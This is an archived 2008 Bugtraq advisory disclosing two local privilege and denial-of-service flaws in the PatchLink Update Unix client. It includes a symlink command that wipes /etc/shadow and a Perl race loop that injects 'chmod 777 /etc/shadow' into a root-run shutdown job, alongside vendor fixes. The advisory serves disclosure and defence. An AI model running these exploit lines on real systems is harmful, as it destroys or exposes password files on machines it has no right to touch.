lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Date: 25 Jan 2008 20:29:30 -0000 From: lcashdol@...il.com To: bugtraq@...urityfocus.com Subject: Two vulnerabilities for PatchLink Update Client for Unix. PatchLink Update Unix Client File clobbering vulnerability Larry W. Cashdollar Vapid Labs 1/17/2008 Overview From the vendor: “PatchLink Update™ provides rapid, accurate and secure patch management, allowing you to proactively manage threats by automating the collection, analysis and delivery of patches throughout your enterprise. PatchLink Update significantly decreases the costs involved in securing your organization from worms, Trojans, viruses and other malicious threats.” http://lumension.com/patch-management.jsp?rpLangCode=1&rpMenuId=118443 Vulnerability The log rotation utility “logtrimmer” utilizes space in /tmp improperly and is subject to a symlink attack. By creating a targeted symlink a non root user can clobber root owned files causing DoS. Exploit nobody:/tmp> ln -s /etc/shadow patchlink.tmp After logs are rotated /etc/shadow will be size 0, since patchlink.tmp is removed by logtrimmer after the log rotation process has finished. Fix Create a subdirectory under /tmp or /var/tmp to work from. For example adding: mkdir /var/tmp/plink chmod 700 /var/tmp/plink Second Vulnerability: The script rebootTask contains the following lines for HP-UX Shutdown and reboot: echo "shutdown -r -y 120" > /tmp/plshutdown chmod 500 /tmp/plshutdown at now < /tmp/plshutdown A race condition exists where a local user could symlink /tmp/plshutdown to a file in their home directory and inject malicous code. This could be done possibly by continuously writing to the file while waiting for the at command to run. $ ln -s /tmp/plshutdown /var/tmp/runme #/bin/perl while(1){ `echo "chmod 777 /etc/shadow" > /var/tmp/runme`; } Also could be fixed by creating a subdirectory to work from under /var/tmp or /tmp. http://vapid.dhs.org
Powered by blists - more mailing lists